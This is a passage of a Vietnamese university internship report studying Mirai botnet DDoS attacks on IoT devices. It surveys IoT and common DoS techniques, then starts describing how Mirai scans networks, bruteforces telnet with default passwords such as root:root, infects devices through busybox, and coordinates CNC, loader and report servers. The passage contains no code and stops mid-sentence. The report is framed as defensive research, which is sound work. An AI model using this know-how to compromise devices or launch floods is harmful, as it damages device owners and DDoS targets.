Download as doc, pdf, or txt
Download as doc, pdf, or txt
You are on page 1of 59

BAN CƠ YẾU CHÍNH PHỦ

HỌC VIỆN KỸ THUẬT MẬT MÃ


¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

BÁO CÁO THỰC TẬP TỐT NGHIỆP

NGHIÊN CỨU TẤN CÔNG DDOS VỚI BOTNET MIRAI


TRÊN CÁC THIẾT BỊ INTERNET OF THINGS ( IoT )

Ngành: Công nghệ thông tin


Chuyên ngành: An toàn thông tin
Mã số: 52.48.02.01

Hà Nội, 2017

1
BAN CƠ YẾU CHÍNH PHỦ
HỌC VIỆN KỸ THUẬT MẬT MÃ
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

BÁO CÁO THỰC TẬP TỐT NGHIỆP

NGHIÊN CỨU TẤN CÔNG DDOS VỚI BOTNET MIRAI


TRÊN CÁC THIẾT BỊ INTERNET OF THINGS ( IoT )

Ngành: Công nghệ thông tin


Chuyên ngành: An toàn thông tin
Mã số: 52.48.02.01

Sinh viên thực hiện:


Nguyễn Thế Đạt
Lớp: AT9A

Người hướng dẫn :


KS. Nguyễn Mạnh Thắng
Khoa An toàn thông tin – Học viện Kỹ thuật mật mã

Hà Nội, 2017

2
MỤC LỤC

Mục lục.......................................................................................................................1
Danh mục kí hiệu và viết tắt.....................................................................................2
Danh mục hình vẽ......................................................................................................3
Danh mục bảng..........................................................................................................5
Lời nói đầu.................................................................................................................6
Chương 1. Tổng quan về internet of things.............................................................7
1.1. Lịch sử hình thành và phát triển Internet............................................................7
1.2. Giới thiệt về Internet of Things...........................................................................8
1.2.1. Xu hướng phát triển.................................................................................8
1.2.2. Ứng dụng thực tiễn..................................................................................9
1.2.3. Những mối nguy hiểm tiềm ẩn...............................................................10
Chương 2. Tổng quan về tấn công từ chối dịch vụ ddos......................................11
2.1. Tổng quan về an ninh mạng..............................................................................11
2.2. Tổng quan về tấn công từ chối dịch vụ.............................................................11
2.2.1. Giới thiệu về tấn công từ chối dịch vụ...................................................11
2.2.2. Một số kỹ thuật tấn công........................................................................13
Chương 3. Nghiên cứu về mã nguồn botnet mirai................................................18
3.1. Giới thiệu về Botnet Mirai................................................................................18
3.1.1. Thành phần cấu trúc của Botnet Mirai..................................................19
3.1.2. Cách thức điều khiển và lây lan Bots:...................................................20
3.2. Phân tích các thành phần của Botnet Mirai.......................................................21
3.2.1. Máy chủ CNC........................................................................................21
3.2.2. Máy chủ Loader.....................................................................................25
3.2.3. Máy chủ Report......................................................................................27
3.2.4. Mã độc...................................................................................................28
Chương 4. Triển khai thực nghiệm botnet mirai trên các thiết bị iot.................33
4.1. Mô tả thực nghiệm............................................................................................33
4.2. Thử nghiệm tấn công.........................................................................................33
Kết luận....................................................................................................................46
Tài liệu tham khảo...................................................................................................48
Phụ lục.......................................................................................................................49

3
DANH MỤC KÍ HIỆU VÀ VIẾT TẮT

|| Hoặc
& Và
Admin Administrator
ARPANET Advanced Research Projects Agency Network
CNC Command And Control
DDoS Distributed Denial of Service
IP Internet Protocol
IoT Internet of Things
LAN Local Area Metwork
NII National Information Infrastructure
NSF National Science Foundation
MILNET Military Network
TCP/IP Transmission Control Protocol/Internet Protocol

4
DANH MỤC HÌNH VẼ

Hình 1.1. Xu hướng phát triển IoT..............................................................................8


Hình 2.1. Tấn công Smurf.........................................................................................13
Hình 2.2. Tấn công Buffer Overflow.........................................................................14
Hình 2.3. Tấn công Ping of Death............................................................................15
Hình 2.4. Tấn công Teardrop....................................................................................15
Hình 2.5. Bắt tay 3 bước TCP/IP..............................................................................16
Hình 2.6. Tấn công Syn Flood..................................................................................17
Hình 3.1. Mirai sử dụng 5 user-agent khác nhau (mirai/bot/table.h).......................18
Hình 3.2. Mirai sử dụng 10 kỹ thuật tấn công từ chối dịch vụ (mirai/bot/attack.h).19
Hình 3.3. Mô hình hoạt động logic của các thành phần...........................................19
Hình 3.4. Cấu trúc thư mục mã nguồn......................................................................20
Hình 3.5. CNC lắng nghe kết nối (mirai/cnc/main.go).............................................21
Hình 3.6. CNC nhận được thông tin là bot hoặc admin (mirai/cnc/main.go)..........22
Hình 3.7. Nhập username từ cmd.............................................................................22
Hình 3.8. Nhập password từ cmd..............................................................................22
Hình 3.9. Kiểm tra account trong Database.............................................................23
Hình 3.10. Thông báo đăng nhập thành công...........................................................23
Hình 3.11. Kiểm tra số lượng Bot connect tới CNC.................................................23
Hình 3.12. Thêm và cấu hình cho tài khoản mới......................................................24
Hình 3.13. Hàm AttackInfoLookup...........................................................................25
Hình 3.14. Thiết lập network card cho report server (loader/main.c)......................25
Hình 3.15. Khởi tạo server chứa mã độc (loader/main.c)........................................26
Hình 3.16. Nhận ip, port, user, pass từ STDIN (loader/main.c)...............................26
Hình 3.17. Sử dụng busybox login và lây mã độc (loader/server.c).........................27
Hình 3.18. Lắng nghe kết nối trên cổng 48101 (scanListen.go)...............................27
Hình 3.19. Hiển thị thông tin thiết bị bruteforce được (scanListen.go)....................28
Hình 3.20. Che dấu tiến trình (mirai/bot/main.c).....................................................29
Hình 3.21. Các phương thức tấn công (mirai/bot/attack.c)......................................29
Hình 3.22. Kill các cổng dịch vụ (mirai/bot/killer.c)................................................30
Hình 3.23. Ngăn cản thiết bị reboot lại (mirai/bot/main.c)......................................30
Hình 3.24. Tài khoản dùng để bruteforce IoT mới (mirai/bot/scanner.c).................31
Hình 3.25. Địa chỉ bruteforce thiết bị IoT mới (mirai/bot/scanner.c).......................31
Hình 3.26. Bot gửi thông tin các IoT mới đã bruteforce (mirai/bot/scanner.c)........31
Hình 3.27. Khai báo domain và port các server (mirai/bot/table.c)........................32
Hình 4.1. Khởi chạy CNC Server..............................................................................34
Hình 4.2. Cài đặt thông tin của Database (cnc\main.c)...........................................35
Hình 4.3. CNC đăng nhập Database (cnc\database.go)...........................................35
Hình 4.4. Khởi chạy scanListen................................................................................35
Hình 4.5. Mở port 48101 chờ kết quả từ Bot............................................................36
Hình 4.6. Nhập Bot cho Loader.................................................................................36
Hình 4.7. Loader kết nối thiết bị IoT lây nhiễm Malware.........................................37
Hình 4.8. Loader thực hiện lây lan Malware............................................................37

5
Hình 4.9. Attacker telnet tới CNC.............................................................................38
Hình 4.10. Attacker đăng nhập CNC........................................................................39
Hình 4.11. Kiểm tra kết nối tới cổng 23 là Bot hay Admin (cnc/main.go)................40
Hình 4.12. Loader hiển thị Bot kết nối thành công...................................................41
Hình 4.13. Thông tin Bot scan thiết bị khác..............................................................42
Hình 4.14. Thông tin thiết bị mà Bot bruteforce thành công....................................43
Hình 4.15. Nhập lệnh tấn công.................................................................................43
Hình 4.16. Lệnh hacker dùng tấn công.....................................................................44
Hình 4.17. Thiết bị IoT là IP Camera bị chiếm quyền kiểm soát..............................45
Hình 4.18. Victim bị Attacker tấn công khiến lưu lượng tăng cao............................45

6
DANH MỤC BẢNG

Bảng 1. Thành phần thực nghiệm..............................................................................33

7
LỜI NÓI ĐẦU

Internet of Things là cụm từ nhằm để chỉ các đối tượng có thể được nhận biết
cũng như sự tồn tại của chúng và được Kenvin Ashton đưa ra năm 1999. Cho đến
nay, mạng lưới vạn vật kết nối Internet là một kịch bản của thế giới hiện đại khi mà
mỗi đồ vật, con người được cung cấp một định danh riêng và tất cả đều có khả năng
truyền tải, trao đổi thông tin qua mạng mà không cần tương tác trực tiếp giữa người
với người hay người với máy tính. Tóm lại, IoT là một tập hợp các thiết bị có khả
năng kết nối với nhau, với Internet và với thế giới bên ngoài để thực hiện một công
việc nào đó.
Trong bối cảnh IoT bùng nổ như là một xu hướng mới trong tương lai đi kèm
với những tiện ích thì cũng tiềm ẩn những mối nguy hại và trở thành mục tiêu hàng
đầu của giới Hacker hiện đại. IoT có thể gây ảnh hưởng xấu nếu các thiết bị bảo mật
kém có thể bị nhiễm mã độc và trở thành một zombie trong mạng botnet. Khi hacker
điều khiển một lượng lớn thiết bị IoT sẽ dễ dàng tấn công DDoS đánh sập bất cứ thứ
gì trên Internet với lượng dữ liệu khổng lồ.
Cuối năm 2016, mã nguồn Mirai đã được công bố gây ra ảnh hướng lớn kèm
theo vô vàn mối lo và cũng là lời cảnh báo với các sản phẩm IoT trong tương lai. Vì
vậy đề tài được chọn khi thực hiện đề tài tốt nghiệp này là "Nghiên cứu tấn công
DDoS với botnet Mirai trên các thiết bị Internet of Things (IoT)".
Đề tài được thực hiện nhằm mục đích nghiên cứu cách thức hoạt động và mối
nguy hiểm của mã nguồn botnet Mirai trên thiết bị IoT để từ đó đưa ra các giải pháp
phòng chống.
Mục tiêu đặt ra khi thực hiện đề tài là:
1. Xây dựng hệ thống botnet.
2. Nghiên cứu cách thức hoạt động của hệ thống botnet.
3. Tìm hiểu một số kỹ thuật coding thú vị trong mã nguồn.
4. Lây nhiễm mã độc lên thiết bị thật và thực nghiệm tấn công DDoS.
5. Nghiên cứu phát triển những hạn chế của mã nguồn.
Sau thời gian khoảng bốn tháng thực hiện đề tài, các mục tiêu về cơ bản đã
đạt được. Tuy nhiên tấn công DDoS IoT là lĩnh vực khoa học phức tạp, thời gian
thực hiện đề tài tương đối ngắn nên chắc chắn không tránh khỏi thiếu sót. Rất mong
được sự góp ý của các thầy cô, cũng như các bạn học viên để đề tài này được hoàn
thiện hơn.

8
CHƯƠNG 1. TỔNG QUAN VỀ INTERNET OF THINGS

1.1. Lịch sử hình thành và phát triển Internet


Internet được sinh ra như một mạng được phát triển cho mục đích quân sự.
Mạng có tên ARPANET đã được phát triển để thử nghiệm và nghiên cứu bởi cơ
quan dự án nghiên cứu nâng cao của Bộ quốc phòng Mỹ (DARPA) vào năm 1969
chính là nguồn gốc sinh ra Internet. Vào thời đó, hệ thống máy tính chủ yếu là hệ
thống máy chủ trung tâm và bị coi là rất mong manh đối với các cuộc tấn công tên
lửa, vì chỉ một cuộc tấn công có thể phá hủy mọi thông tin. Do vậy, ARPANET đã
được xây dựng thành một dự án nghiên cứu để phân bổ thông tin trên hệ thống máy
tính.
Ban đầu, với tốc độ truyền thấp 56 kbps và hệ thống đã được tạo nên bởi các
viện nghiên cứu và các trường đại học ở Mỹ được kết nối bằng mạng gói. Sau đó sự
phát triển của công nghệ đã tạo khả năng làm cho ARPANET đóng vai trò trung tâm
như một mạng truyền thông trong gần 20 năm sau.
Giao thức truyền thông TCP/IP là một trong các công nghệ nền tảng mà
không thể bỏ qua khi bạn nói về sự phát triển Internet. Bởi DARPA đã sử dụng
TCP/IP như là giao thức chuẩn cho ARPANET, từ đó TCP/IP được phát triển thành
giao thức chuẩn trên Internet. Rất nhiều đầu tư nghiên cứu và phát triển trong công
nghệ mạng LAN đã được thực hiện vào giữa những năm 1970 đã đóng góp rất nhiều
vào sự phát triển Internet.
Vào năm 1983, một phần của mạng ARPANET phục vụ chủ yếu cho mục
đích quân sự đã được cắt bỏ (phần này có tên là MILNET (MILitary NETwork) và
phần còn lại của mạng được chuyển thành mạng phục vụ cho khoa học và nghiên
cứu. TCP/IP đã được chấp nhận là giao thức truyền thông vào thời điểm đó.
Quĩ khoa học quốc gia Hoa Kỳ (NSF) đã xây dựng và vận hành hệ thống
mạng độc lập của mình có tên là NSFNET vào năm 1986.
Sau đó, NSFNET và ARPANET đã được liên nối để hình thành nên bản mẫu
Internet đầu tiên của thế giới (NSFNET đã hấp thu ARPANET vào năm 1990).
Một yếu tố không thể thiếu trong sự phát triển của Internet đó là thiết lập cơ
sở hạ tầng truyền thông tin. Một trong những người đầu tiên nhận ra tầm quan trọng
của việc xây dựng cơ sở hạ tầng truyền thông này chính là phó tổng thống Mỹ khi
đó, ông Al Gore, người đã đưa ra kế hoạch NII (kết cấu nền thông tin quốc gia) vào
năm 1993. Kế hoạch này tập trung vào việc nghiên cứu và phát triển một mạng siêu

9
nhanh (cấp độ Gbps) và việc toàn cầu hoá nó đã làm lẩy cò việc xây dựng kết cấu
nền truyền thông tin.
Đến nay, các máy tính cá nhân cũng đã được hỗ trợ giao thức TCP/IP, có năng
lực xử lý cao hơn và ít đắt hơn, đã dẫn tới thực trạng là công chúng có thể dễ dàng
kết nối Internet bằng cách sử dụng máy tính cá nhân bình thường. Điều này đã khiến
cho việc sử dụng Internet trở nên rất phổ biến trong công chúng.

1.2. Giới thiệt về Internet of Things


1.2.1. Xu hướng phát triển
Với sự phát triển của Internet, smartphone và đặc biệt là các thiết bị cảm biến,
Internet of Things đang trở thành xu hướng mới của thế giới. Internet of Things
được định nghĩa là những vật dụng có khả năng kết nối Internet. Ý tưởng nhà thông
minh như vào nhà, mở khóa cửa, đèn sẽ tự động sáng chỗ đứng, điều hòa sẽ tự động
điều chỉnh nhiệt độ, nhạc sẽ tự động bật để chào đón…những điều chỉ có trong phim
khoa học viễn tưởng, đang dần trở thành hiện thực với công nghệ Internet of Things.

Hình Tổng quan về internet of things.1. Xu hướng phát triển IoT.

Ý tưởng về an toàn giao thông được thực hiện hóa bằng giải pháp mạng cảm
biến phương tiện. Mạng cảm biến phương tiện được tạo nên bằng nhiều phương tiện
có tính năng giao tiếp V2V để giúp truyền hoặc nhận thông tin để các phương tiện
khác có thể nhận biết và dự đoán các tình huống chưa hoặc đã xảy ra. Sau đó, bằng
trí tuệ nhân tạo mà phương tiện có thể tự điều khiển hoặc cảnh báo cho người dùng.

10
Các thiết bị Internet of Things được vận hành nhờ những bộ vi xử lý SOC bên
trong. Không như những bộ vi xử lý thông thường, SOC giống như một máy tính
trọn vẹn được thu gọn trong diện tích của một con chip điện tử, có kết nối không
dây và đảm bảo tiết kiệm điện. Dù nhỏ gọn, sức mạnh của các vi xử lý SOC là
không phải bàn cãi khi nó hoàn toàn có thể vận hành trơn tru những hệ điều hành
nặng nề như Windows hay Linux. SOC rất phổ biến trong bên trong các linh kiện
điện thoại.
Theo dự báo của IDC, thị trường Internet of Things được dự báo sẽ tăng gấp 3
lần, đạt 1,7 nghìn tỉ USD vào năm 2020. Không ít các doanh nghiệp lớn đã nhìn
thấy tiềm năng của Internet of Things và mạnh dạn đầu tư vào đây.Tuy nhiên, cũng
giống như bất kỳ một công nghệ mới nào, Internet of Things sẽ cần một nền tảng để
vận hành.Và các doanh nghiệp công nghệ hiểu rằng, ai tạo ra được nền tảng dẫn
đầu, họ sẽ là người chiến thắng trong xu hướng mới này.
1.2.2. Ứng dụng thực tiễn
Nhờ Internet of Things, có nhiều ý tưởng độc đáo đã trở thành hiện thực.
Không chỉ phát huy tốt hơn cho công dụng vốn có của thiết bị, Internet of Things
còn góp phần đem lại cuộc sống tốt đẹp hơn cho con người. Có thể kể đến như
Boogio - đôi giày thông minh có lắp một cảm biến cực mỏng và máy tính Artik siêu
nhỏ để lưu trữ lại dữ liệu của người dùng và kết nối với với smartphone và đồng hồ
thông minh. Thông qua đôi giày này, người dùng có thể tính toán được hôm nay
mình đã chạy bao nhiêu bước, luyện những bài tập nào, đốt cháy bao nhiêu calo, đo
chỉ số sức khỏe của bản thân và có được một cơ thể dẻo dai hơn.
Một sản phẩm khác của Internet of Things xuất phát từ ý tưởng tiết kiệm nước
có tên là Weenat. Weenat sẽ sử dụng các cảm biến về độ ẩm, kết hợp với hệ thống
các máy tính siêu nhỏ để tính toán độ ẩm và các quyết định canh tác phù hợp. Hệ
thống cảm biến hoạt động không dây, được đặt trực tiếp trên các cánh đồng và có
vòng đời rất dài, sẽ giúp những người nông dân tiết kiệm tối đa nguồn nước dùng
cho tưới tiêu.
Với việc tạo ra ngày càng nhiều những thiết bị Internet of Things thông minh,
các hãng công nghệ lớn đang góp phần giúp cuộc sống người dùng trở nên tốt đẹp
hơn. Bên cạnh đó, những nỗ lực không ngừng của họ trong việc đầu tư cho cuộc
cách mạng Internet of Things còn hứa hẹn sẽ đem đến cho con người một tương lai
tươi sáng hơn nữa.

11
1.2.3. Những mối nguy hiểm tiềm ẩn
 Các thiết bị kết nối với Internet nhưng chỉ được bảo vệ bằng mật khẩu
mã hóa cứng (hard-coded password) hoặc mật khẩu yếu.
 Lỗ hổng bảo mật Zero-day trong các sản phẩm thông minh hiện nay rất
nhiều, mở ra một cơ hội khác cho tin tặc, botnet và các dạng tội phạm
mạng theo đó nảy nở.
 Các CVE của thiết bị IoT như router, hiện cũng được public gây ra
những lo lắng không chỉ về doanh nghiệp mà còn về uy tín của cả nhà
cung cấp dịch vụ.
 Lập trình IoT trên linux nếu không hiểu rõ những thư viện tải về sử
dụng để code cũng là 1 vấn đề nguy hiểm khi lập trình IoT.
 Bảo mật cho các thiết bị IoT là rất khó khăn vì những lý do về kỹ thuật,
công nghệ và thậm chí cả nền văn hóa. Đối với người dùng thông
thường, đã là rất khó để khiến họ cập nhật những bản vá mới nhất trên
máy tính xách tay, điện thoại thông minh. Ngày nay, thiết bị nào cũng
có thể có những lỗ hổng bảo mật, khi nhà sản xuất muốn nâng cấp
firmware hay cài bản vá cho những thiết bị này sẽ rất phiền phức.
 Thay vì tấn công máy tính xách tay và cài mã độc thì hacker lại tận
dụng các thiết bị IoT, như camera giám sát CCTV, đầu ghi DVR,
smartTV hay các hệ thống tự động trong nhà. Không như máy tính bàn
hay xách tay, rất khó phát hiện botnet có trong thiết bị IoT.
 Khi một thiết bị nhiễm mã độc sẽ trở thành bàn đạp để phát tán mã độc
đến các thiết bị khác hình thành nên một mạng botnet khổng lồ được
mở rộng nhanh chóng.

12
CHƯƠNG 2. TỔNG QUAN VỀ TẤN CÔNG TỪ CHỐI DỊCH VỤ
DDOS

2.1. Tổng quan về an ninh mạng


Cùng với sự phát triển của công nghệ thông tin, công nghệ mạng máy tính và
sự phát triển của mạng internet ngày càng phát triển đa dạng và phong phú. Các dịch
vụ trên mạng đã thâm nhập vào hầu hết các lĩnh vực trong đời sống xã hội. Các
thông tin trên Internet cũng đa dạng về nội dung và hình thức, trong đó có rất nhiều
thông tin cần được bảo mật cao hơn bởi tính kinh tế, tính chính xác và tính tin cậy
của nó.
Sự ra đời của công nghệ An ninh Mạng bảo vệ mạng trước việc đánh cắp và
sử dụng sai mục đích thông tin kinh doanh bí mật và chống lại tấn công bằng mã
độc từ vi rút và sâu máy tính trên mạng Internet. Nếu không có An ninh Mạng được
triển khai, công ty sẽ gặp rủi ro trước xâm nhập trái phép, sự ngừng trệ hoạt động
của mạng, sự gián đoạn dịch vụ, sự không tuân thủ quy định và thậm chí là các hành
động phạm pháp.
Bên cạnh đó, các hình thức phá hoại mạng cũng trở nên tinh vi và phức tạp
hơn. Do đó đối với mỗi hệ thống, nhiệm vụ bảo mật được đặt ra cho người quản trị
mạng là hết sức quan trọng và cần thiết.

2.2. Tổng quan về tấn công từ chối dịch vụ


2.2.1. Giới thiệu về tấn công từ chối dịch vụ
Tấn công từ chối dịch vụ là sự cố gắng làm cho tài nguyên của một máy tính
không thể sử dụng được nhằm vào những người dùng của nó. Mặc dù phương tiện
để tiến hành, động cơ, mục tiêu của tấn công từ chối dịch vụ là khác nhau, nhưng
nói chung nó gồm có sự phối hợp, sự cố gắng ác ý của một người hay nhiều người
để chống lại Internet site hoặc service (dịch vụ Web) vận hành hiệu quả hoặc trong
tất cả, tạm thời hay một cách không xác định.
Tấn công bằng từ chối dịch vụ DoS (Denial of Service) có thể mô tả như hành
động ngăn cản những người dùng hợp pháp khả năng truy cập và sử dụng vào một
dịch vụ nào đó. Nó bao gồm việc làm tràn ngập mạng, mất kết nối với dịch vụ… mà
mục đích cuối cùng là máy chủ (Server) không thể đáp ứng được các yêu cầu sử
dụng dịch vụ từ các máy trạm (Client). DoS có thể làm ngưng hoạt động của một
máy tính, một mạng nội bộ hoặc cả một hệ thống mạng rất lớn.Về bản chất thực sự

13
của DoS, kẻ tấn công sẽ chiếm dụng một lượng lớn tài nguyên mạng như băng
thông, bộ nhớ… và làm mất khả năng xử lý các yêu cầu dịch vụ từ các client khác.
a) Giới thiệu về Botnet
Một “bot” là một loại phần mềm độc hại cho phép kẻ tấn công giành quyền
kiểm soát hoàn toàn máy tính bị ảnh hưởng. Máy tính đang bị nhiễn một “bot”
thường được gọi là zombie. Trên thực tế có hàng ngàn máy tính trên Internet bị
nhiễm một số loại “bot” mà thậm chí không nhận ra nó.
 Máy chủ Bot kiểm soát và điều khiển một botnet được gọi là botmaster.
 Bot là một chương trình client cho phép Botmaster ra lệnh và kiểm soát
máy tinh bị nhiễm.
Botnet là một mạng lưới các máy tính bị xâm nhập, lây nhiễm bởi bot.
b) Nguyên lý hoạt động Botnet
Một botnet bao gồm ít nhất là một botmaster và một hoặc nhiều bot. Khả
năng của các botnet hành động một cách phối hợp với tất cả hoặc một phần của
botnet là nền tảng cho khái niệm botnet. Botnet được quản lý bởi một bot-herder.
Khởi nguồn của Botnet được gọi là Botnet-herder. Botnet-herder là người đã
tạo ra mạng lưới các bot được sử dụng cho mục đích độc hại như tấmn công một tử
chức nào đó bằng cách sử dụng tấn công DDoS hoặc kiểm tiền bằng cách sử dụng
thư rác.
Một Bot-herder có thể sử dụng công cụ IRC, CMD kết nối tới C&C Server.
Server này sẽ như một proxy gửi lệnh điều khiển của hacker tới mạng botnet. Việc
khai thác botnet cần có kinh nghiệp lập trình giao thức ra lệnh ngay từ khi bắt đầu.
Sự gia tăng của băng thông tiêu dùng đã tăng lên rất nhiều sức mạnh của
botnet để khởi động gợn sóng tấn công DDoS lên server, lây nhiễm hàng triệu với
hàng triệu máy tính với các phần mềm gián điệp và mã độc hại khác, ăn cắp dữ liệu
nhận dạng, gửi số lượng lớn các thư rác và tham gia vào các click gian lận, hăm dọa
và tống tiền.
Botnet là mối đe dọa an ninh hàng đầu internet ngày nay. Hacker đang thu hút
bởi botnet do client (bot) thực hiện đặt hàng tại bất cứ nơi nào có kết nối. Nó rất dẽ
dàng để ăn hoa hồng dịch vụ tấn công botnet và hacker là người có thể khai thác lỗ
hổng mới một cách nhanh hơn. Botnet rất khó phát hiện bởi bị chúng rất năng động,
thích ứng nhanh để trốn tránh việc bảo vệ an ninh phổ biết hiện nay.

14
Các sản phẩm bảo mật và quản trị hệ thống thông tin phải ngăn chặn các
mạng trở thành một phần của botnet. Cả mạng doanh nghiệp lẫn mạng tư nhân cần
chống tấn công botnet lạm dụng nguồn tài nguyên cơ sở hạ tầng lớn.
2.2.2. Một số kỹ thuật tấn công
 Smurf.
 Buffer Overflow.
 Ping of death.
 Teardrop.
 SYN Flood.
a) Smurf
Smurf là một loại tấn công DoS điển hình. Máy của attacker sẽ gởi rất nhiều
lệnh ping đến một số lượng lớn máy tính trong một thời gian ngắn, trong đó địa chỉ
IP nguồn của gói ICMP echo sẽ được thay thế bởi địa chỉ IP của nạn nhân, Các máy
tính này sẽ trả lại các gói ICMP reply đến máy nạn nhân.

Hình Tổng quan về tấn công từ chối dịch vụ ddos.2. Tấn công Smurf.

15
Kết quả đích tấn công sẽ phải chịu nhận một đợt Reply gói ICMP cực lớn và
làm cho mạng bị rớt hoặc bị chậm lại, không có khả năng đáp ứng các dịch vụ khác.

b) Buffer Overflow
Buffer Overflow xảy ra tại bất kỳ thời điểm nào có chương trình ghi lượng
thông tin lớn hơn dung lượng của bộ nhớ đệm trong bộ nhớ.
Kẻ tấn công có thể ghi đè lên dữ liệu và điều khiển chạy các chương trình và
đánh cắp quyền điều khiển của một số chương trình nhằm thực thi các đoạn mã
nguy hiểm.

Hình Tổng quan về tấn công từ chối dịch vụ ddos.3. Tấn công Buffer Overflow.

Quá trình gửi một bức thư điện tử mà file đính kèm dài quá 256 ký tự có thể
sẽ xảy ra quá trình tràn bộ nhớ đệm.
c) Ping of death
Kẻ tấn công gửi những gói tin IP lớn hơn số lương bytes cho phép của tin IP
là 65.536 bytes.
Quá trình chia nhỏ gói tin IP thành những phần nhỏ được thực hiện ở layer 2.
Quá trình chia nhỏ có thể thực hiện với gói IP lớn hơn 65.536 bytes. Nhưng
hệ điều hành không thể nhận biết được độ lớn của gói tin này và sẽ bị khởi động lại,
hay đơn giản là sẽ bị gián đoạn giao tiếp.

16
Để nhận biết kẻ tấn công gửi gói tin lớn hơn gói tin cho phép thì tương đối dễ
dàng.

Hình Tổng quan về tấn công từ chối dịch vụ ddos.4. Tấn công Ping of Death.

d) Teardrop
Trong mạng chuyển mạch gói, dữ liệu được chia thành nhiều gói tin nhỏ, mỗi
gói tin có một giá trị offset riêng và có thể truyền đi theo nhiều con đường khác
nhau để tới đích. Tại đích, nhờ vào giá trị offset của từng gói tin mà dữ liệu lại được
kết hợp lại như ban đầu.
Lợi dụng điều này, hacker có thể tạo ra nhiều gói tin có giá trị offset trùng lặp
nhau gửi đến mục tiêu muốn tấn công khiến không thể sắp xếp được những gói tin
này vì bị "vắt kiệt" khả năng xử lý.

17
Hình Tổng quan về tấn công từ chối dịch vụ ddos.5. Tấn công Teardrop.

e) Syn Flood
TCP là giao thức hướng kết nối connection-oriented nghĩa là nó thiết lập kênh
kết nối trước khi truyền dữ liệu đi. TCP thiết lập kết nối bằng quá trình bắt tay 3
bước:

Hình Tổng quan về tấn công từ chối dịch vụ ddos.6. Bắt tay 3 bước TCP/IP.

18
 Bước 1: Đầu tiên client gửi một gói tin mang cờ SYN tới server yêu cầu kết
nối.
 Bước 2: Sau khi nhận được gói tin SYN, server phản hồi lại client bằng 1 gói
tin SYN/ACK và chờ xác nhận lại từ client.
 Bước 3: Client nhận được gói tin SYN/ACK thì sẽ trả lời server bằng gói tin
ACK báo với server biết rằng nó đã nhận được gói tin SYN/ACK, kết nối đã
được thiết lập và sẵn sàng trao đổi dữ liệu.
Như vậy ở bước thứ 2, sau khi server gửi gói tin SYN/ACK nó sẽ phải đợi
cho đến khi client trả lời hoặc hết thời gian timeout. Bằng việc gửi liên tiếp nhiều
gói tin SYN đến server mà không phản hồi lại bằng gói tin ACK buộc server phải
đưa các kết nối này vào trong hàng đợi và chờ đợi. Do giao thức TCP sử dụng các
khối TCB (Tranmission control block) là cấu trúc dữ liệu của giao thức vận chuyển
chứa toàn bộ thông tin của kết nối. Dung lượng tối thiểu của 1 TCB là 280bytes,
trong 1 số hệ thống hiện nay con số này còn lên tới 1,300 bytes. Với việc phải chờ
đợi các client dẫn đến không gian lưu trữ TCB dần dần cạn kiệt và không thể phục
vụ những client hợp lệ khác.

19
Hình Tổng quan về tấn công từ chối dịch vụ ddos.7. Tấn công Syn Flood.

Có 3 kiểu tấn công chính:


- Tấn công trực tiếp: kẻ tấn công sẽ gửi trực tiếp các gói tin SYN đến server.
- Tấn công giả mạo: kẻ tấn công sẽ giả mạo IP và gửi gói tin SYN đến server
sau đó server sẽ gửi các gói tin phản hồi SYN/ACK tới những IP bị giả mạo, trong
trường hợp này những IP đó chính là nạn nhân thứ 2 của cuộc tấn công.
- Tấn công phân tán trực tiếp: kẻ tấn công sẽ điểu khiển một mạng lưới máy
tính đồng loạt gửi các gói tin SYN đến server chiếm băng thông và gây cạn kiệt tài
nguyên hệ thống.

20
CHƯƠNG 3. NGHIÊN CỨU VỀ MÃ NGUỒN BOTNET MIRAI

3.1. Giới thiệu về Botnet Mirai


Đây là loại botnet không được xây dựng để điều khiển các máy tính mà
hướng đến các thiết bị IoT (Internet of Things).
Mirai thực hiện rà quét dải mạng IPv4 nhằm tìm kiếm các thiết bị IoT. Để tối
ưu hóa hiệu năng rà quét của mình thì Mirai thực hiện loại bỏ các dải IP như sau:
Sau khi tìm được các thiết bị IoT, Mirai thực hiện truy cập telnet trực tiếp
hoặc nếu không được sẽ thực hiện bruteforce mật khẩu qua telnet hoặc ssh. Trong
mã nguồn của Mirai cho thấy Mirai có sử dụng 60 tài khoản, mật khẩu mặc định để
thực hiện tấn công như root:root, admin:admin1234, guest:guest…
Mặc dù có thể truy cập thành công được thiết bị nhưng mã độc này lại sử
dụng một lệnh đặc biệt của Busybox (tiện ích trên các thiết bị Linux nhúng) do đó
bot sẽ không thực hiện lây nhiễm được nếu thiết bị không được cài đặt busybox.
Môt khi sử dụng được busybox, mã độc sẽ thực hiện quá trình lây nhiễm. Đặc
biệt sau khi lây nhiễm thành công, Mirai thực hiện loại bỏ tất cả các tiến trình đang
sử dụng cổng 22, 23 để ngăn chặn đăng nhập trên thiết bị. Sau khi thực hiện lây
nhiễm thành công, mã độc kết nối tới máy chủ điều khiển và chờ lệnh tấn công
Với mục đích chính là thực hiện tấn công từ chối dịch vụ do đó botnet này sử
dụng tới 10 kỹ thuật tấn công từ chối dịch vụ từ cơ bản đến nâng cao nhằm đem lại
hiệu quả cao nhất. Trong đó, hình thức tấn công từ chối dịch vụ phổ biến được áp
dụng là thông qua tấn công HTTP, Mirai sử dụng 5 user-agent khác nhau để tránh bị
phát hiện.

Hình Nghiên cứu về mã nguồn botnet mirai.8. Mirai sử dụng 5 user-agent khác
nhau (mirai/bot/table.h).

Ngoài ra, Mirai có khả năng phát hiện và vượt qua một số cơ chế kiểm tra bot
cơ bản của các dịch vụ giúp ngăn ngừa tấn công từ chối dịch vụ như cloudflare hoặc
dosarrest.

21
Ngoài những tấn công thông dụng ra, Mirai sử dụng 2 kỹ thuật ít gặp gần đây
là tấn công “DNS Water Torture” và “GRE IP Flood”.

Hình Nghiên cứu về mã nguồn botnet mirai.9. Mirai sử dụng 10 kỹ thuật tấn công
từ chối dịch vụ (mirai/bot/attack.h).

3.1.1. Thành phần cấu trúc của Botnet Mirai


Các thành phần:
- A: Attacker có toàn quyền ra lệnh đối với mạng botnet
- B: Những thiết bị sau khi bị nhiễm mã độc.
- C: CNC server giữ liên lạc giữa người dùng và mạng botnet.
- R: Report server tiếp nhận và lây lan bot về các thiết bị IoT mới.
- L: Loader server lấy thông tin từ Report server và lây nhiễm malware.
- U: Những khách hàng thuê mạng botnet để DDoS Victim.
- V: Những thiết bị IoT có lỗ hổng.

22
Hình Nghiên cứu về mã nguồn botnet mirai.10. Mô hình hoạt động logic của các
thành phần.

Cấu trúc mã nguồn chính gồm 2 thư mục chính Loader và Mirai, trong đó
